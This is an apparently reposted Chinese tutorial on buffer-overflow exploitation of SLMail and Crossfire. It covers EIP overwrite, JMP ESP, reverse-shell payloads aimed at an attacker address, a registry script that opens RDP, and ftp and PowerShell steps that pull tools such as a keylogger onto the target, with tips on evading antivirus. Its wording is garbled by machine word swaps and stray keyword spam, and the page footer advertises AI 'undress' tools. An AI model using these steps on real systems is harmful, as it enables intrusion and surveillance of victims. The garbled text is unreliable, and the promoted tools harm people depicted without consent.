Linux渗透测试教程:手把手教你栈溢出从入门到放弃
笔记内容参考安全牛课堂苑房弘老师的KaliLinux渗透测试教程
所有漏洞的症结均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不严格时,因为变量传入畸形数据或程序运行错误,致使缓冲区被“撑暴”,进而覆盖了相邻显存区域的数据,成功更改显存数据,可导致进程绑架,执行恶意代码,获取服务器控制权等后果。
为更好理解缓冲区溢出原理,参考笔者转载的文章:
手把手教你栈溢出从入门到舍弃(上)
手把手教你栈溢出从入门到舍弃(下)
文章目录
一、发现漏洞的方式(一)源码审计
软件开发人员,或则借助社工等方法获取源码进行审查、调试。条件严苛,通常源码无法获取。
(二)逆向工程(ReverseEngineering)
借助逆向工程获取汇编源码进行剖析,汇编代码剖析工作量大,难度高。
(三)模糊测试(Fuzzing)
是一种通过向目标系统提供非预期的输入并监视异常结果来发觉软件漏洞的方式,一般情况下会使用一个有效的输入和添加随机偏差来完成,须要利用软件调试工具(如:ImmunityDebugger)。
二、模糊测试过程
首先要了解一些针对缓冲区溢出的安全保护技术,由于在模糊测试过程中要避开这种保护机制。
(一)Windows
测试软件为’SLMail5.5.0MailServer’,其PASS命令存在缓冲区溢出漏洞。基本思路:(调试工具用ImmunityDebugger)
1.借助python脚本测试PASS命令接收到大量数据时是否会溢出,通常到3000个字符尚未出现溢出现象则说明该处应当不存在溢出漏洞。
2.发觉溢出漏洞后,判定EIP对应的地址,基本方式有:二分法、唯一字符串法。惟一字符串法可以借助metasploit脚本usr/share/metasploit-framework/tools/pattern_create.rb3000生成。
3.将EIP更改为Shellcode对应的显存地址,将Shellcode写入到该地址空间,程序读取EIP寄存器数值,将跳转到shellcode代码段并执行。
4.通过调试工具发觉,发送的数据填充EIP后,紧接着会填充ESP指向的空间,因而我们将Shellcode放在ESP的位置。
5.判定ESP地址到栈底的距离linux防缓冲区溢出,即可以储存Shellcode的大小。借助python脚本向软件发送数据测试,通过调试软件看有多少数据储存在ESP指向的空间。现代计算机系统进程的显存空间视图如图所示:
图1进程的显存空间视图
6.由于ASLR机制,软件每次运行函数调用栈的地址是随机变化的,因而硬编码不可行,变通思路在显存中找寻地址固定的系统模块,在模块中找寻JMPESP指令的地址跳转,再由该指令间接跳转到ESP,进而执行shellcode,借助mona.py脚本辨识显存模块,搜索“returnaddress”是JMPESP指令的模块,找寻不受DEP、ASLR机制保护的系统模块!monamodules,借助/usr/share/metasploit-framework/tools/nasm_shell.rb将汇编指令jmpesp转换为二补码为FFE4,在模块中搜索FFE4指令!monafind-s“xffxe4”-mslmfc.dll,找到指令所在地址后,将该地址填入EIPlinux版qq,构造Shellcode,且去除坏字符:/msfpayloadwin32_reverseLHOST=192.168.20.8LPORT=443R|./msfencode-b“x00x0ax0d
注:构造Shellcode时选择的payload是reverse反向联接,而不是直连bind,这样可以避免防火墙的封堵策略。
7.最后开启端口窃听nc-vlp443,Shellcode执行结束后以ExitProcess方法退出整个进程,将造成短信服务崩溃,Slmail是一个基于线程的应用,适用ExitThread方法可以防止整个服务崩溃,可实现重复溢出:/msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b“x00x0ax0d”
注:不同类型的程序、协议、漏洞,会将个别字符觉得是坏字符,那些字符有固定用途,因而返回地址、Shellcode、buffer中都不能出现坏字符。发送0x00—0xff256个字符,查找所有坏字符。借助metasploit脚本./msfencode可以编码坏字符。
8.假如要进一步控制功击目标,可以通过更改注册表开启远程桌面,Windows中90%以上的配置都可以通过更改注册表完成:
<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg
(二)Linux
测试软件为’Crossfire’,1.9.0在接受入站socket联接时存在缓存区溢出漏洞。基本思路同WindowsFuzzing(调试工具用edb),不再赘言,需注意以下几点:
1.调试命令:edb--run/usr/games/crossfire/bin/crossfire
2.在验证缓冲区溢出时发觉只有当payload固定4368字节时能够确切覆盖EIP的值,这样ESP指向的空间只剩下7个字节,不足以放下Shellcode,因而在edb中查找可以被数据完全覆盖的寄存器,找到EAX,于是变通思路ESP跳转到EAX执行Shellcode。
三、选择和更改EXP
网上有针对各类软件早已公布漏洞的借助代码(EXP),我们可以选择可信赖的EXP源,在此基础上进行研究或更改,尤其是Shellcode不能轻易使用linux防缓冲区溢出,有可能带有病毒linux系统应用,须要把握的编程语言一般包括Python、C、C++、Ruby等。几个可靠的EXP源:
领到EXP后,须要注意以下几点:
四、后漏洞借助阶段
包括上传工具、提权、擦除功击痕迹、安装侧门等进一步操作,这儿仅讨论文件上传操作,文件上传是预置木马、安装侧门的基础,主要依据早已取得的目标操作系统的shell,进行文件上传操作。
(一)Windows
首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:
1.Linux端:配置ftp服务
登陆FTP有三种形式:
<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span> vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span> <span class="token comment">#添加配置</span> local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span> <span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span> <span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span> chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span> chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span> chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list <span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span> userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span> userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span> <span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span> <span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span> <span class="token function">mkdir</span> /home/ftpduser <span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 <span class="token function">service</span> vsftpd start
2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置
(1)使用ftp传输文件
由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。
<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
(2)使用powershell传输文件
<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span> <span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient <span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span> <span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span> <span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span> powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
(二)Linux
借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。
注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。
以上是Linux渗透测试教程:手把手教你栈溢出从入门到放弃的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

crontab定时任务不执行的一些缘由总结更新时间:2019年01月09日09:34:57作者:田野上的希望这篇文章主要给你们总结介绍了关于crontab定时任务不执行的一些缘由,对每种可能发生的诱因都给出了解决方式,对遇见这个问题的同事们具有一定的参考学习价值,须要的同学们下边随着小编来一起学习学习吧序言近来在工作中遇见了一些问题,crontab定时任务竟然不执行,后来我在网上找的时侯发觉网上主要说了这5个诱因:1crond服务未启动crontab不是Linux内核的功能,而是依赖一个cron

您想为您的Python脚本或应用程序添加一些幽默吗?无论您是构建聊天机器人、开发命令行工具,还是只是想用随机笑话自娱自乐,pyjokes库都可以为您提供帮助。借助pyjokes,您可以轻松生成各种类别的笑话,并根据您的喜好进行自定义。在这篇博文中,我们将探讨如何使用pyjokes库在Python中创建随机笑话。我们将介绍安装过程、生成不同类别的笑话、自定义笑话、在控制台应用程序或网页中显示它们,以及处理可能发生的任何潜在错误。安装pyjokes在我们开始使用pyjokes创建随机笑话之前,我们需

Python和Excel是两个强大的工具,结合起来可以开启自动化世界。Python具有多功能的库和用户友好的语法,使我们能够编写脚本来有效地执行各种任务。另一方面,Excel是一种广泛使用的电子表格程序,它为数据分析和操作提供了熟悉的界面。在本教程中,我们将探索如何利用Python来自动化刷新Excel电子表格的过程,从而节省我们的时间和精力。您是否发现自己花费了宝贵的时间使用更新的数据手动刷新Excel电子表格?这是一项重复且耗时的任务,可能会真正降低生产力。在本文中,我们将指导您完成使用Py

PyCharm是一款功能强大的Python集成开发环境,提供了丰富的功能和工具来帮助开发者提高效率。其中,PyInstaller是一个常用的工具,可以将Python代码打包为可执行文件(EXE格式),方便在没有Python环境的机器上运行。在本篇文章中,我们将介绍如何在PyCharm中使用PyInstaller将Python代码打包为EXE格式,并提供具体的

Orange3是一个功能强大的开源数据可视化和机器学习工具,它具备丰富的数据处理、分析和建模功能,为用户提供了简单快捷的数据挖掘和机器学习解决方案。本文将简要介绍Orange3的基本功能和使用方法,同时结合实际应用场景和Python代码案例,帮助读者更好地掌握Orange3的使用技巧。Orange3的基本功能包括数据加载、数据预处理、特征选择、模型建立和评估等。用户可以利用直观的界面拖放组件,轻松构建数据流程。同时,通过Python脚本,也能完成更复杂的数据处理和建模任务。下面我们将通过一个实际

如何使用PyCharm读取Excel数据?步骤如下:安装openpyxl库;导入openpyxl库;加载Excel工作簿;访问特定工作表;访问工作表中的单元格;遍历行和列。

1、首先打开pycharm,进入到pycharm主页。2、然后新建python脚本,右键--点击new--点击pythonfile。3、输入一段字符串,代码:s="-"。4、接着需要把字符串里面的符号重复20次,代码:s1=s*20。5、输入打印输出代码,代码:print(s1)。6、最后运行脚本,在最底部会看到我们的返回值:-就重复了20次。

Flask安装配置教程:轻松搭建PythonWeb应用的利器,需要具体代码示例引言:随着Python的日益流行,Web开发也成为了Python程序员的必备技能之一。而要进行Python的Web开发,我们需要选择合适的Web框架。在众多的PythonWeb框架中,Flask是一款简洁、易上手且灵活的框架,备受开发者们的青睐。本文将介绍Flask框架的安装、
